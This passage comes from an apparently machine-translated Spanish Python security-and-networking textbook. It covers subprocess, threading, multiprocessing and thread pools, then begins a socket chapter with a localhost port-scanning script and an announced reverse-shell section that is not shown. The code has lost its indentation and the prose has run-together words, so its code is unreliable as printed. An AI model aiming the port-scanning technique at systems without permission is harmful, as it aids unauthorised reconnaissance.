python_process = process.stdout.strip()
print(f'Python found in: {python_process}')
En el código anterior, comprobamos si tenemos Python
instalado en nuestro sistema. De ser así, devuelve la ruta
donde está instalado. Continuamos ejecutando el proceso de
creación de un entorno virtual.
process = subprocess.run('echo "$SHELL"', shell=True,
capture_output=True, text=True)
shell_bin = process.stdout.split('/')[-1]
create_venv = subprocess.run([python_process, '-m', 'venv',
VENV_NAME], check=True)
if create_venv.returncode == 0:
print(f'Your venv {VENV_NAME} has been created')
else:
print(f'Your venv {VENV_NAME} has not been created')
En elcódigo anterior, estamos usandoel módulo de subproceso,
que nos permite ejecutar el proceso de Python para crear un
entorno virtual.
pip_process = f'{VENV_NAME}/bin/pip3'
if Path(REQUIREMENTS).exists():
print(f'Requirements file "{REQUIREMENTS}" found')
print('Installing requirements')
subprocess.run([pip_process, 'install', '-r', REQUIREMENTS])
print('Process completed! Now activate your environment with
"source .venv/bin/activate"')
En el código anterior, usamos el pathlibmódulo que nos
permite determinar si el requirements.txtarchivo existe. Al
ejecutar el script, recibirás mensajes útiles sobre la situación
del sistema operativo.
$ python subprocess_setup_venv.py
Python found in: /home/linux/anaconda3/bin/python3
Your venv .venv has been created
Process completed! Now activate your environment with
"source .venv/bin/activate"
La principal ventaja de utilizar estos módulos es que nos
permiten abstraernos del sistema operativo y podemos realizar
diferentes operaciones independientemente del sistema
operativo que estemos utilizando.
El módulo de subproceso es una parte poderosa de la
biblioteca estándar de Python que le permite
fácilmenteejecutar programas externose inspeccionar sus
resultados. En esta sección, aprendiste a usar el módulo
subprocess para controlar programas externos, pasarles
información, analizar sus resultados y verificar sus códigos de
retorno. Ahora que sabes cómo trabajar con el módulo
subprocess, pasemos a aprender cómo trabajar con hilos en
Python.
Gestión de subprocesos en Python
1. El enhebrado es unaTécnica de programación que
permite que una aplicación ejecute
simultáneamenteejecutar varias operacionesEn el mismo
espacio de memoria asignado al proceso. Cada flujo de
ejecución que se origina durante el procesamiento se
denomina hilo y puede realizar una o más tareas.
2. Los hilos permiten que nuestras aplicaciones ejecuten
múltiples operaciones simultáneamente en el mismo
espacio de proceso. En Python, este threadingmódulo
posibilita la programación con hilos. Entre los posibles
estados de un hilo, podemos destacar:
1. Nuevo , un hilo que aún no se ha iniciado y no se
han asignado recursos.
2. Ejecutable , el hilo está esperando para ejecutarse.
3. En ejecución , el hilo se está ejecutando.
4. No en ejecución , el hilo se ha pausado porque otro
hilo tuvo prioridad sobre él o porque el hilo está
esperando a que se complete una operación de E/S
de ejecución prolongada.
5. Terminado , el hilo ha terminado su ejecución.
Creando un hilo simple
Para trabajarCon hilos en Python, podemos trabajar con
el threadingmódulo, que proporciona una interfaz más práctica
y permite a los desarrolladores trabajar con múltiples hilos. La
forma más sencilla de usar un hilo es instanciar un objeto de
la Threadclase con una función de destino y llamar a
su start()método.
A los hilos se les pueden pasar parámetros, que luego utiliza la
función de destino. Cualquier tipo de objeto puede pasarse
como parámetro a un hilo. En el siguiente ejemplo, creamos
cuatro hilos, y cada uno imprime un mensaje diferente, que se
pasa como parámetro en el thread_message (message)método.
Puede encontrar el siguiente código en
el threading_init.pyarchivo de la threadingsubcarpeta:
import threading
def myTask():
print("Hello World: {}".format(threading.current_thread()))
myFirstThread = threading.Thread(target=myTask)
myFirstThread.start()
Podemos vermás información sobre el start()método para
iniciar un hilo si invocamos el help(threading.Thread)comando:
start(self)
| Start the thread's activity.
| It must be called at most once per thread object. It
arranges for the
| object's run() method to be invoked in a separate
thread of control.
| This method will raise a RuntimeError if called more
than once on the
| same thread object.
DocumentaciónLa información sobre el módulo de subprocesos
está disponible
en https://docs.python.org/3/library/threading.html .
Trabajar con el módulo de subprocesos
El módulo de subprocesamiento contieneuna Threadclase
que necesitamosPara extender y crear nuestros propios hilos
de ejecución. El runmétodo contendrá el código que queremos
ejecutar en el hilo.
Antes de crear un nuevo hilo en Python, revisemos
el __init__()constructor de métodos de la Threadclase Python
para ver qué parámetros necesitamos pasar:
# Python Thread class Constructor
def __init__(self, group=None, target=None, name=None,
args=(), kwargs=None, verbose=None):
El constructor de la clase Thread aceptacinco argumentos
como parámetros:
group:Un parámetro especial que está reservado para
futuras extensiones
target:El objeto invocable que será invocado por
el run()método
name:El nombre del hilo
args:Una tupla de argumentos para la invocación de
destino
kwargs:Un argumento de palabra clave del diccionario
para invocar el constructor de la clase base
Vamos a crearUn script sencillo que usaremos para crear
nuestro primer hilo. Puedes encontrar el siguiente código en
el threading_logging.pyarchivo de la threadingsubcarpeta:
import threading
import logging
import time
logging.basicConfig(level=logging.DEBUG,format='[%
(levelname)s] - %(threadName)-10s : %(message)s')
def thread(name):
logging.debug('Starting Thread '+ name)
time.sleep(5)
print("%s: %s" % (name, time.ctime(time.time())))
logging.debug('Stopping Thread '+ name)
def check_state(thread):
if thread.is_alive():
print(f'Thread {thread.name} is alive.')
else:
print(f'Thread {thread.name} it not alive.')
En el código anterior, declaramos dos
funciones thread(name)para check_state(thread)ejecutar y
comprobar el estado de cada hilo creado. Además, usamos
el loggingmódulo para depurar y supervisar el comportamiento
de los hilos.
th1 = threading.Thread(target=thread, args=('MyThread',))
th2 = threading.Thread(target=thread, args=('MyThread2',))
th1.setDaemon(True)
th1.start()
th2.start()
check_state(th1)
check_state(th2)
while(th1.is_alive()):
logging.debug('Thread is executing...')
time.sleep(1)
th1.join()
th2.join()
En nuestro programa principal, declaramos dos hilos y
llamamos al start()método de la Threadclase para ejecutar el
código definido en el myTask()método y el join()método nos
permite sincronizar el proceso principal y el nuevo hilo.
Además, podríamos usar el is_alive()método para determinar si
el hilo todavía se está ejecutando oYa ha finalizado. Además,
nos permite trabajar con múltiples hilos, donde cada uno se
ejecuta de forma independiente sin afectar el comportamiento
del otro.
Otra forma de definir nuestro propio hilo es definir una clase
que herede de la threading.Threadclase. Dentro de esta clase,
podemos definir la __init__()función constructora para inicializar
los parámetros y las variables que se usarán dentro de la clase.
Tras inicializar todas las variables y funciones de la clase,
definimos el run()método que contiene el código que queremos
ejecutar al llamarlo start().
Ahora, creemos nuestro hilo. En el siguiente ejemplo, creamos
una clase llamada MyThreadque hereda de threading.Thread.
El run()método contiene el código que se ejecuta dentro de
cada uno de nuestros hilos, por lo que podemos
usarlo start()para iniciar un nuevo hilo.
Puede encontrar el siguiente código en
el threading_run.pyarchivo en la threadingsubcarpeta:
import threading
class MyThread(threading.Thread):
def __init__ (self, message):
threading.Thread.__init__(self)
self.message = message
def run(self):
print(self.message)
def test():
for num in range(0, 10):
thread = MyThread("I am the "+str(num)+" thread")
thread.name = num
thread.start()
if __name__ == '__main__':
import timeit
print(timeit.timeit("test()", setup="from __main__ import
test",number=5))
En el código anterior, utilizamos el run()método de
la Threadclase para incluir el código que queremos ejecutar
para cada hilo de forma concurrente.
Además, podemos usar el thread.join()método para esperar a
que el hilo termine. El joinmétodo esSe utiliza para bloquear el
hilo hasta que finalice su ejecución. Puede encontrar el
siguiente código en el threading_join.pyarchivo de
la threadingsubcarpeta:
import threading
class thread_message(threading.Thread):
def __init__ (self, message):
threading.Thread.__init__(self)
self.message = message
def run(self):
print(self.message)
threads = []
def test():
for num in range(0, 10):
thread = thread_message("I am the "+str(num)+"
thread")
thread.start()
threads.append(thread)
# wait for all threads to complete by entering them
for thread in threads:
thread.join()
if __name__ == '__main__':
import timeit
print(timeit.timeit("test()", setup="from __main__ import
test",number=5))
El mainhilo del código anterior no termina su ejecución antes
que el proceso hijo, lo que podría provocar que algunas
plataformas lo terminen antes de que finalice. El joinmétodo
puede tomar como parámetro un número de punto flotante que
indica el tiempo máximo de espera. Además, usamos
el timeitmódulo para obtener los tiempos de ejecución de los
hilos. De esta forma, se puede comparar el tiempo de ejecución
entre ellos.
Para optimizar el comportamiento de los programas que usan
subprocesos, es recomendable poder pasarles valores. Para eso
están los argumentos " argsy" kwargsen el constructor. El
código anterior usa estos argumentos para pasar una variable
con el número del subproceso en ejecución y un diccionario con
tres valores que definen el funcionamiento del contador en
todos los subprocesos.
Ahora queYa sabes cómo trabajar con hilos, pasemos a
aprender cómo podemos trabajar con multihilo y concurrencia
en Python.
Multiprocesamiento en Python
En los sistemas operativos que implementan una llamada al
sistema bifurcada, se puede crear fácilmente
multiprocesamiento, en lugar de subprocesos, para gestionar la
concurrencia. Dado que utiliza subprocesamiento en lugar
de...subprocesamiento, permite múltiples operaciones
concurrentespuede llevarse a cabo sin las limitaciones
del Bloqueo de Intérprete Global ( GIL ) en sistemas Unix y
Windows.
Trabajar con procesos es muy similar a trabajar con hilos. La
diferencia radica en que se debe usar el multiprocessingmódulo
en lugar del módulo de subprocesos. En este caso, Process()se
debe usar el método, que funciona de forma similar
al Thread()método del módulo de subprocesos.
En el siguiente ejemplo, usamos Process()un método para crear
dos procesos, cada uno asociado a un hilo. Puedes encontrar el
siguiente código en el multiprocessing_process.pyarchivo de
la multiprocessingsubcarpeta:
import multiprocessing
import logging
import time
logging.basicConfig(level=logging.DEBUG,format='[%
(levelname)s] - %(threadName)-10s : %(message)s')
def thread(name):
logging.debug('Starting Process '+ name)
time.sleep(5)
print("%s: %s" % (name, time.ctime(time.time())))
logging.debug('Stopping Process '+ name)
def check_state(process):
if process.is_alive():
print(f'Process {process.name} is alive.')
else:
print(f'Process {process.name} is not alive.')
En nuestro programa principal, creamos 2 instancias de
proceso y verificamos su estado usando
el check_state()método,que llama internamente
al is_alive()método para determinar si el proceso se está
ejecutando.
if __name__ == '__main__':
process = multiprocessing.Process(target=thread,
args=('MyProcess',))
process2 = multiprocessing.Process(target=thread,
args=('MyProcess2',))
check_state(process)
check_state(process2)
process.start()
process2.start()
check_state(process)
check_state(process2)
Multihilo y concurrencia en Python
El concepto detrás de las aplicaciones multihilo es que nos
permite proporcionar copias de nuestro código.en subprocesos
adicionales y ejecutarlos. Esto permite la ejecución simultánea
de múltiples operaciones. Además, cuando un proceso se
bloquea, como al esperar operaciones de entrada/salida, el
sistema operativo puede asignar tiempo de procesamiento a
otros procesos.
Cuando hablamos de multihilo, nos referimos a un procesador
que puede ejecutar varios hilos simultáneamente. Estos suelen
tener dos o más hilos que compiten activamente dentro de un
núcleo por el tiempo de ejecución, y cuando un hilo se detiene,
el núcleo de procesamiento inicia la ejecución de otro.
El contexto entre estos subprocesos cambia muy rápidamente
y da la impresión de que el ordenador está ejecutando los
procesos en paralelo, lo que nos da la capacidad de realizar
múltiples tareas.
Multihilo en Python
PitónProporciona una API que permite a los desarrolladores
crear aplicaciones con múltiples subprocesos. Para empezar
con el multihilo, crearemos un nuevo subproceso dentro de una
clase de Python. Esta clase extiende threading.Thready
contiene el código para gestionar un subproceso.
Con multihilo, podríamos tener varios procesos generados a
partir de un proceso principal y usar cada hilo para ejecutar
diferentes tareas de forma independiente. Puedes encontrar el
siguiente código en el ThreadWorker.pyarchivo de
la multithreadingsubcarpeta:
import threading
class ThreadWorker(threading.Thread):
def __init__(self):
super(ThreadWorker, self).__init__()
def run(self):
for i in range(10):
print(i)
Ahora queTenemos nuestra ThreadWorkerclase, podemos
empezar a trabajar.En nuestra mainclase. Puedes encontrar el
siguiente código en el main.pyarchivo de
la multithreadingsubcarpeta:
import threading
from ThreadWorker import ThreadWorker
def main():
thread = ThreadWorker()
thread.start()
if __name__ == "__main__":
main()
En el código anterior, inicializamos la threadvariable como una
instancia de nuestra ThreadWorkerclase. Luego, invocamos
el start()método desde el hilo para llamar al run()método
de ThreadWorker.
Concurrencia en Python con ThreadPoolExecutor
CorrerMúltiples hilos es como ejecutarmúltiples procesos
diferentes al mismo tiempo, pero con algunos beneficios
añadidos, entre los que podemos destacar:
Los subprocesos en ejecución de un proceso comparten el
mismo espacio de datos que el subproceso principal y, por
lo tanto, pueden acceder a la misma información o
comunicarse entre sí más fácilmente que si estuvieran en
procesos separados.
La ejecución de un proceso multiproceso generalmente
requiere menos recursos de memoria que la ejecución del
equivalente en procesos separados.
Permite simplificar el diseño de aplicaciones que
necesitan ejecutar varias operaciones simultáneamente.
Para la ejecución concurrente de hilos y procesos en Python,
podríamos utilizar el concurrent.futuresmódulo , el cual
proporciona una interfaz de alto nivel que nos ofrece la
posibilidad de ejecutar tareas en paralelo de forma asincrónica.
Este módulo proporciona la ThreadPoolExecutorclase que
proporciona una interfaz para ejecutarTareas asincrónicas. Esta
clase nos permitirá reciclar hilos existentes para poder asignar
nuevas tareas.Para ellos. Podemos definir
nuestro ThreadPoolExecutorobjeto con el initconstructor:
>>> from concurrent.futures import ThreadPoolExecutor
>>> executor = ThreadPoolExecutor(max_workers=5)
En las instrucciones anteriores, usamos el método constructor
para crear un ThreadPoolExecutorobjeto, utilizando como
parámetro el número máximo de trabajadores. En el ejemplo
anterior, establecimos el número máximo de subprocesos en
cinco, lo que significa que este grupo de subprocesos solo
tendrá cinco subprocesos ejecutándose simultáneamente.
Para poder utilizar nuestro ThreadPoolExecutor, podemos
utilizar el submit()método , que toma como parámetro una
función para ejecutar ese código de forma asincrónica:
>>> executor.submit(myFunction())
En el siguiente ejemplo, analizamos la creación de este objeto
de clase. Definimos una task()función que permite usar
el threading.get_ident()método para mostrar el identificador
del hilo actual. Puede encontrar el siguiente código en
el threadPoolConcurrency.pyarchivo de
la concurrent_futuressubcarpeta:
from concurrent.futures import ThreadPoolExecutor
import threading
def task(n):
print("Processing {}".format(n))
print("Accessing thread : {}".format(threading.get_ident()))
print("Thread Executed
{}".format(threading.current_thread()))
def main():
print("Starting ThreadPoolExecutor")
executor = ThreadPoolExecutor(max_workers=3)
future = executor.submit(task, (2))
future = executor.submit(task, (3))
future = executor.submit(task, (4))
print("All tasks complete")
if __name__ == '__main__':
main()
En el código anterior, definimos nuestra mainfunción donde se
inicializa el objeto ejecutor.como una instancia de
la ThreadPoolExecutorclase, y se ejecuta un nuevo conjunto de
subprocesos sobre este objeto. Entonces...Obtener el hilo que
se ejecutó con el threading.current_thread()método. En la
siguiente salida del script anterior, podemos ver tres hilos
diferentes creados con estos identificadores.
$ python ThreadPoolConcurrency.py
Starting ThreadPoolExecutor
Processing 2
Accessing thread : 140508587771456
Thread Executed <Thread(ThreadPoolExecutor-0_0, started
daemon 140508587771456)>
Processing 3
Accessing thread : 140508587771456
Thread Executed <Thread(ThreadPoolExecutor-0_0, started
daemon 140508587771456)>
Processing 4
Accessing thread : 140508587771456
Thread Executed <Thread(ThreadPoolExecutor-0_0, started
daemon 140508587771456)>
All tasks complete
ThreadPoolExecutorPuede encontrar más información
en https://docs.python.org/3/library/concurrent.futures.h
tml#threadpoolexecutor .
Ejecución de ThreadPoolExecutor con un administrador
de contexto
OtroManera de instanciar ThreadPoolExecutorpara usarcomo un
administrador de contexto utilizando la withdeclaración:
>>> with ThreadPoolExecutor(max_workers=2) as executor:
En el siguiente ejemplo, usamos `` ThreadPoolExecutorcomo
administrador de contexto`` dentro de nuestra mainfunción y
luego llamamos future = executor.submit(message,
(message))para procesar cada mensaje en el grupo de
subprocesos. En el siguiente ejemplo, usamos 5 subprocesos
para ejecutar la tarea de forma asíncrona mediante el
administrador de contexto. Puede encontrar el siguiente código
en el ThreadPoolExecutor.pyarchivo de
la concurrent_futuressubcarpeta:
from concurrent.futures import ThreadPoolExecutor,
as_completed
from random import randint
import threading
def execute(name):
value = randint(0, 1000)
thread_name = threading.current_thread().name
print(f'I am {thread_name} and my value is {value}')
return (thread_name, value)
with ThreadPoolExecutor(max_workers=5) as executor:
futures = [executor.submit(execute,f'T{name}') for name in
range(5)]
for future in as_completed(futures):
name, value = future.result()
print(f'Thread {name} returned {value}')
En elcódigo anterior, una vez que el poolUna vez creado,
podemos programar y ejecutar los subprocesos mediante
el submit()método. Este método funciona de la siguiente
manera:
El método recibe la tarea execute()simultáneamente como
argumento.
Si hay un hilo disponible, entonces la tarea se le asigna.
Una vez que el hilo tiene una tarea asignada, el método
de envío es responsable de ejecutarla.
El siguiente ejemplo es similar al anterior, donde en lugar de
usar ThreadPoolExecutor, usamos ProcessPoolExecutor, y en
la execute()función, usamos el sleep()método para aplicar un
tiempo de retardo. Puedes encontrar el siguiente código en
el processPool_concurrent_futures.pyarchivo de
la concurrent_futuressubcarpeta:
from concurrent.futures import ProcessPoolExecutor
import os
def task():
print("Executing our Task on Process {}".format(os.getpid()))
def main():
executor = ProcessPoolExecutor(max_workers=3)
task1 = executor.submit(task)
task2 = executor.submit(task)
if __name__ == '__main__':
main()
En el siguiente ejemplo, usamos la ThreadPoolExecutorclase
para definir un grupo de subprocesos.con 10 trabajadores y
cada unoEl hilo se encarga de procesar una URL definida en
[nombre del archivo] url_list. Puedes encontrar el siguiente
código en el ThreadPoolExecutor_urls.pyarchivo de
la concurrent_futuressubcarpeta:
import requests
from concurrent.futures import ThreadPoolExecutor,
as_completed
from time import time
url_list = ["http://www.python.org",
"http://www.google.com","http://www.packtpub.com",
"http://www.goooooooogle.com"]
def request_url(url):
html = requests.get(url, stream=True)
return url + "-->" + str(html.status_code)
process_list = []
with ThreadPoolExecutor(max_workers=10) as executor:
for url in url_list:
process_list.append(executor.submit(request_url, url))
for task in as_completed(process_list):
print(task.result())
En el código anterior, usamos el executor.submit()método para
agregar una nueva tarea a la lista de procesos. En las últimas
líneas, iteramos sobre los procesos e imprimimos el resultado.
Al ejecutarlo, podemos ver cómo, para cada URL, devuelve el
código de estado tras realizar la solicitud con
el requestsmódulo que debe instalarse en el sistema operativo
o entorno virtual.
$ python ThreadPoolExecutor_urls.py
http://www.goooooooogle.com-->406
http://www.google.com-->200
http://www.python.org-->200
http://www.packtpub.com-->200
Entre las principales ventajas que aportan estos módulos,
podemos destacar que facilitan lauso de memoria compartidaal
permitir el acceso al estado desde otro contexto y son la mejor
opción cuando nuestra aplicación necesita realizar varias
operaciones de E/S simultáneamente.
Resumen
En este capítulo, aprendimos sobre los principales módulos del
sistema para la programación en Python, incluyendo osla
interacción con el sistema operativo y los subprocesos para la
ejecución de comandos. También repasamos cómo trabajar con
el sistema de archivos, la gestión de hilos y la concurrencia.
Después de practicar con los ejemplos proporcionados en este
capítulo, ahora tiene el conocimiento suficiente para
automatizar las tareas relacionadas con el sistema operativo, el
acceso al sistema de archivos y la ejecución simultánea de
tareas.
En el próximo capítulo, exploraremos el socketpaquete para
resolver direcciones IP y dominios e implementaremos clientes
y servidores con los protocolos TCP y UDP.
Preguntas
Para concluir, aquí tienes una lista de preguntas para que
pongas a prueba tus conocimientos sobre el material de este
capítulo. Encontrarás las respuestas en la sección de
Evaluaciones del Apéndice .
1. ¿Cuál es el módulo principal que nos permite interactuar
con el sistema de archivos?
2. ¿Cuál es la diferencia entre
utilizar subprocess.run()y Popen()y bajo qué
circunstancias se debe utilizar cada uno?
3. ¿Qué clase del concurrent.futuresmódulo proporciona una
interfaz para ejecutar tareas de forma asincrónica y nos
permite reciclar hilos existentes para que podamos
asignarles nuevas tareas?
4. ¿Qué método del módulo de subprocesos nos permite
determinar si el subproceso aún está ejecutándose o ya
ha finalizado?
5. ¿Qué método del módulo de subprocesos nos permite
obtener el identificador del hilo actual?
Lectura adicional
En los siguientes enlaces, encontrará más información sobre
las herramientas que hemos comentado y enlaces a la
documentación oficial de Python para algunos de los módulos
que hemos analizado:
Documentación del módulo del sistema
operativo : https://docs.python.org/3/library/os.html
Documentación del módulo
Subprocess : https://docs.python.org/3/library/subpr
ocess.html
Documentación del módulo de
subprocesos : https://docs.python.org/3/library/thre
ading.html
Documentación del
módulo Concurrent.futures
: https://docs.python.org/3/library/concurrent.futur
es.html
Únete a nuestra comunidad en Discord
Únase al espacio Discord de nuestra comunidad para discutir
con el autor y otros lectores:
https://packt.link/SecNet
Sección 2
Scripting de red y rastreo de paquetes con Python
En esta sección, aprenderá a utilizar las bibliotecas de Python
para crear scripts de red y desarrollar scripts para analizar
paquetes de red con el scapymódulo.
Esta parte del libro comprende los siguientes capítulos:
Capítulo 3 , Programación de sockets
Capítulo 4 , Programación HTTP y autenticación web
Capítulo 5 , Análisis del tráfico de red y rastreo de
paquetes
3
Programación de sockets
Este capítulo mostrará los fundamentos de las redes utilizando
el módulo socket de Python. Este módulo expone todos los
elementos necesarios para escribir rápidamente clientes y
servidores TCP y UDP para crear aplicaciones de red de bajo
nivel. También abordaremos la implementación de un shell
inverso con el módulo socket y la implementación de sockets
seguros con TLS.
La programación por sockets se refiere a un principio abstracto
mediante el cual dos programas pueden compartir cualquier
flujo de datos mediante una interfaz de programación de
aplicaciones ( API ) para diferentes protocolos disponibles en
la pila TCP/IP de Internet, generalmente compatibles con todos
los sistemas operativos. También abordaremos la
implementación de servidores HTTP y métodos de sockets para
resolver dominios y direcciones IP.
En este capítulo se tratarán los siguientes temas:
Comprender el paquete de sockets para solicitudes de red
Implementando un shell inverso con sockets
Implementación de un cliente TCP simple y un servidor
TCP con el módulo de socket
Implementación de un cliente UDP simple y un servidor
UDP
Implementando un servidor HTTP en Python
Implementación de sockets seguros con TLS
Requisitos técnicos
Para aprovechar al máximo este capítulo, necesitará
conocimientos básicos de ejecución de comandos en sistemas
operativos. Además, deberá instalar la distribución de Python
en su equipo local. Trabajaremos con la versión 3.10 de Python,
disponible en https://www.python.org/downloads .
Los ejemplos y el código fuente de este capítulo están
disponibles en el repositorio de GitHub
en https://github.com/PacktPublishing/Python-for-
Security-and-Networking .
Mira el siguiente video para ver el código en
acción: https://packt.link/Chapter03
Comprender el paquete de sockets para solicitudes de red
Los sockets son los componentes principales que nos
permiten aprovechar las capacidades de un sistema operativo
para interactuar con unred. Puede considerar los sockets como
un canal de comunicación punto a punto entre un cliente y un
servidor.
Los sockets de red son una forma sencilla de establecer
comunicación entre procesos en la misma máquina o en
diferentes. El concepto de socket es muy similar al uso de
descriptores de archivo en sistemas operativos UNIX.
Comandos como read()y write()para trabajar con archivos
tienen un comportamiento similar al de los sockets. Una
dirección de socket para una red consta de una dirección IP y
un número de puerto. El objetivo de un socket es comunicar
procesos a través de la red.
Sockets de red en Python
Cuando dosLas aplicaciones o procesos interactúan, utilizan un
canal de comunicación específico. SocketsSon los puntos
finales o de entrada de estos canales de comunicación.
Podemos usar sockets para establecer un canal de
comunicación entre dos procesos, dentro de un mismo proceso,
o entre procesos en diferentes máquinas. Existen diferentes
tipos de sockets, como los sockets TCP, los sockets UDP y los
sockets de dominio UNIX.
Los sockets son puntos finales internos para enviar o recibir
datos dentro de un nodo de una computadora. Un socket se
define mediante direcciones IP y puertos locales y remotos, y
un protocolo de transporte. La creación de un socket en Python
se realiza mediante el socket.socket()método . La sintaxis
general del método socket es la siguiente:
s = socket.socket (socket_family, socket_type, protocol=0)
La sintaxis anterior representa las familias de direcciones y el
protocolo de la capa de transporte.
Según el tipo de comunicación, los sockets se clasifican de la
siguiente manera:
Sockets TCP ( socket.SOCK_STREAM)
Sockets UDP ( socket.SOCK_DGRAM)
La principal diferencia entre TCP y UDP es que TCP está
orientado a la conexión, mientras que UDP no. Otra diferencia
importante entre TCP y UDP es que TCP es más fiable que UDP
porque detecta errores y garantiza que los paquetes de datos
se entreguen a la aplicación que se comunica.en el orden
correcto. En este punto, UDP es más rápido que TCP porqueNo
ordena ni verifica errores en los paquetes de datos. Los sockets
también se pueden categorizar por familia. Están disponibles
las siguientes opciones:
Los sockets UNIX ( socket.AF_UNIX), que se crearon antes
de la definición de la red y se basan en datos
El socket.AF_INETsocket para trabajar con el protocolo IPv4
El socket.AF_INET6socket para trabajar con el protocolo
IPv6
Existe otro tipo de conector llamado conector sin procesar .
EstosLos sockets nos permiten acceder a los protocolos de
comunicación, con la posibilidad de usar protocolos de capa 3
(nivel de red) y capa 4 (nivel de transporte), lo que nos da
acceso directo a los protocolos y a la información que recibimos
a través de ellos. El uso de sockets de este tipo nos permite
implementar nuevos protocolos y modificar los existentes,
omitiendo los protocolos TCP/IP habituales.
En cuanto a la manipulación de paquetes de red, disponemos
de herramientas específicas,
como Scapy ( https://scapy.net ), un móduloEscrita en
Python para la manipulación de paquetes, compatible con
múltiples protocolos de red. Esta herramienta permite la
creación y modificación de paquetes de red de diversos tipos,
implementando funciones para la captura y el rastreo de
paquetes.
Ahora que hemos analizado qué es un socket y sus tipos,
pasaremos a presentar el módulo socket y las funcionalidades
que ofrece.
El módulo de socket
Tipos y funciones requeridas paraEl módulo socket de Python
permite trabajar con sockets. Este módulo proporciona todas
las funcionalidades necesarias para escribir rápidamente
clientes y servidores TCP y UDP. Además, proporciona todas las
funciones necesarias para crear un servidor o cliente de
sockets.
Cuando trabajamos con sockets, la mayoría de las aplicaciones
utilizan el concepto de cliente/servidor donde hay dos
aplicaciones, una que actúa como servidor y la otra como
cliente, y donde ambas se comunican.mediante el paso de
mensajes utilizando protocolos como TCP o UDP:
Servidor : representa una aplicación que está esperando
la conexión de un cliente.
Cliente : Representa una aplicación que se conecta al
servidor.
En Python, el constructor de sockets devuelve un objeto para
trabajar con los métodos de socket. Este módulo viene
instalado por defecto al instalar la distribución de Python. Para
comprobarlo, podemos hacerlo desde el intérprete de Python:
>>> import socket
>>> dir(socket)
['__builtins__', '__cached__', '__doc__', '__file__', '__loader__',
'__name__', '__package__', '__spec__', '_blocking_errnos',
'_intenum_converter', '_realsocket', '_socket', 'close',
'create_connection', 'create_server', 'dup', 'errno', 'error',
'fromfd', 'gaierror', 'getaddrinfo', 'getdefaulttimeout', 'getfqdn',
'gethostbyaddr', 'gethostbyname', 'gethostbyname_ex',
'gethostname', 'getnameinfo', 'getprotobyname',
'getservbyname', 'getservbyport', 'has_dualstack_ipv6',
'has_ipv6', 'herror', 'htonl', 'htons', 'if_indextoname',
'if_nameindex', 'if_nametoindex', 'inet_aton', 'inet_ntoa',
'inet_ntop', 'inet_pton', 'io', 'ntohl', 'ntohs', 'os', 'selectors',
'setdefaulttimeout', 'sethostname', 'socket', 'socketpair', 'sys',
'timeout']
En la salida anterior, podemos ver todos los métodos
disponibles en este módulo. Entre las constantes más
utilizadas, destacan las siguientes:
socket.AF_INET
socket.SOCK_STREAM
Para abrir un socket en una máquina específica, utilizamos el
constructor de la clase socket, que acepta la familia, el tipo de
socket y el protocolo como parámetros. Una llamada típica para
crear un socket que funcione a nivel TCP consiste en pasar la
familia y el tipo de socket como parámetros:
>>> socket.socket(socket.AF_INET,socket.SOCK_STREAM)
De los principales métodos de socket, podemos destacar los
siguientes para implementar tanto clientes como servidores:
socket.accept() se utiliza para aceptar conexiones y
devuelve un par de valores como (conexión, dirección).
socket.bind() se utiliza para vincular direcciones
especificadas como parámetro.
socket.connect() se utiliza para conectarse a la
dirección especificada como parámetro.
socket.listen() se utiliza para escuchar comandos en el
servidor o el cliente.
socket.recv(buflen) se utiliza para recibir datos del
socket. El argumento del método indica la cantidad
máxima de datos que puede recibir.
socket.recvfrom(buflen) se utiliza para recibir datos y
la dirección del remitente.
socket.recv_into(buffer) se utiliza para recibir datos en
un búfer.
socket.send(bytes) se utiliza para enviar bytes de datos
al destino especificado.
socket.sendto(data, address) se utiliza para enviar
datos a una dirección determinada.
socket.sendall(data) se utiliza para enviar todos los
datos del búfer al socket.
socket.close() se utiliza para liberar la memoria y
finalizar la conexión.
En esta sección hemos analizadolos métodos integrados
disponibles en el módulo de socket y ahora pasaremos a
aprender sobre métodos específicos que podemos usar para los
lados del servidor y del cliente.
Métodos de socket de servidor y cliente
En una arquitectura cliente-servidor, hay un servidor central
que proporciona servicios a un conjunto de máquinas
queConéctate. Estos son los principales métodos que podemos
usar desde el punto de vista del servidor:
socket.bind(address) : Este método nos permite
conectar la dirección con el socket, con el requisito de que
el socket debe estar abierto antes de establecer la
conexión con la dirección.
socket.listen(count) : Este método acepta como
parámetro el número máximo de conexiones de los
clientes e inicia el escucha TCP para las conexiones
entrantes.
socket.accept() : Este método permite aceptar
conexiones de cliente y devuelve una tupla con dos
valores que representan client_sockety client_address.
Debe llamar a los
métodos socket.bind()y socket.listen()antes de usar este
método.
Desde el punto de vista del clienteVer, estos son los métodos
de socket que podemos usar en nuestro cliente de socket para
conectarnos con el servidor:
socket.connect(ip_address) : Este método conecta al
cliente con la dirección IP del servidor.
socket.connect_ext(ip_address) : Este método tiene la
misma funcionalidad que el método anterior y ofrece la
posibilidad de devolver un error en caso de no poderpara
conectarse con esa dirección.
El socket.connect_ex(address)método es muy útil para
implementar el escaneo de puertos con sockets.El siguiente
script muestra los puertos abiertos en el host local con la
interfaz de dirección IP de bucle invertido de 127.0.0.1. Puede
encontrar el siguiente código en
el socket_ports_open.pyarchivo:
import socket
ip ='127.0.0.1'
portlist = [21,22,23,80]
for port in portlist:
sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
result = sock.connect_ex((ip,port))
print(port,":", result)
sock.close()
El código anterior comprueba los puertos para los
servicios ftp, ssh, telnety httpen la interfaz localhost. El
siguiente podría ser el resultado del script anterior, donde el
resultado para cada puerto es un número que indica si está
abierto o no. En esta ejecución, el puerto 80devuelve valor 0, lo
que significa que está abierto. Todos los demás puertos
devuelven un valor distinto de cero, lo que significa que están
cerrados:
$ python socket_ports_open.py
21 : 111
22 : 111
23 : 111
80 : 0
Los sockets también pueden usarse para comunicarse con un
servidor web, un servidor de correo o muchos otros tipos de
servidores. Solo se necesita encontrar el documento que
describe el protocolo correspondiente y escribir el código para
enviar y recibir los datos según dicho protocolo. El siguiente
ejemplo muestra cómo establecer una conexión de red de bajo
nivel con sockets.
En el siguiente script, nos conectamos a un servidor web que
escucha en el puerto 80y accedemos a una ruta específica
dentro de este servidor para solicitar un documento de texto.
Puede encontrar el siguiente código en
el socket_web_server.pyarchivo:
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('ftp.debian.org', 80))
cmd = 'GET http://ftp.debian.org/debian/README.mirrors.txt
HTTP/1.0\r\n\r\n'.encode()
sock.send(cmd)
while True:
data = sock.recv(512)
if len(data) < 1:
break
print(data.decode(),end='')
sock.close()
